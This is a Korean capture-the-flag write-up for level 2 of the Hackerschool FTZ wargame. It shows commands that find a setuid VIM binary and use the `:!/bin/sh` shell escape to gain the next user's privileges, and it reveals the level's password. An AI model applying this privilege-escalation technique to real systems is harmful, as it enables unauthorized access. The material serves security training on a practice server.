Wargame/FTZ

Hackerschool FTZ level2

pwn3r_45 2011. 7. 17. 01:22
Category : System hacking

ssh://ftz.hackerschool.org
id : level2
pw : hacker or cracker

Summary : Excute command in VIM


서버에 접속하여 디렉토리에있는 파일들을 확인하니 hint 라는 파일이 있다.

[level2@ftz level2]$ ls -l
합계 16
-rw-r--r--    1 root     root           60  3월 23  2000 hint
drwxr-xr-x    2 root     level2       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level2       8192  7월 10 05:52 tmp
[level2@ftz level2]$ cat hint


텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...


아직까진 무엇을 의도한 힌트인지 모르므로 잠시 잊어두고 , level1에서 했던것과 같이 level3 user에 setuid가 걸린 파일을 찾는다.

[level2@ftz level2]$ find / -user level3 -perm -4000 2> /dev/null
/usr/bin/editor
[level2@ftz level2]$ ls -l /usr/bin/editor
-rwsr-x---    1 level3   level2      22380  3월 29  2003 /usr/bin/editor

/usr/bin/editor 이란 level3 user의 실행파일에 setuid가 걸려있다.
실행이 가능하므로 우선 실행해본다.

[level2@ftz level2]$ editor


~
~
~
~                                               VIM - Vi IMproved
~
~                                                version 6.1.320
~                                           by Bram Moolenaar et al.
~                                      Vim is open source and freely distributable
~
~                                            Help poor children in Uganda!
~                                 type  :help iccf<Enter>       for information
~
~                                 type  :q<Enter>               to exit
~                                 type  :help<Enter>  or  <F1>  for on-line help
~                                 type  :help version6<Enter>   for version info
~
~
~


VIM 에디터이다. 이제 다시 hint의 내용을 떠올려보면 , level3의 권한으로 setuid가 걸린 VIM 에디터에서 외부명령을 수행해 패스워드를 획득하는 것임을 생각할수있다.
VIM 의 외부명령어 기능을 이용하여 /bin/sh를 실행한다.

[level2@ftz level2]$ editor


~
~
~
~                                              VIM - Vi IMproved
~
~                                               version 6.1.320
~                                           by Bram Moolenaar et al.
~                               Vim is open source and freely distributable
~
~                                      Help poor children in Uganda!
~                          type  :help iccf<Enter>       for information
~
~                          type  :q<Enter>               to exit
~                          type  :help<Enter>  or  <F1>  for on-line help
~                          type  :help version6<Enter>   for version info
~
~
~
:!/bin/sh
[level3@ftz level2]$ id
uid=3003(level3) gid=3002(level2) groups=3002(level2)
[level3@ftz level2]$ my-pass

Level3 Password is "can you fly?".


level3 user의 쉘을 획득하고 password를 얻었다.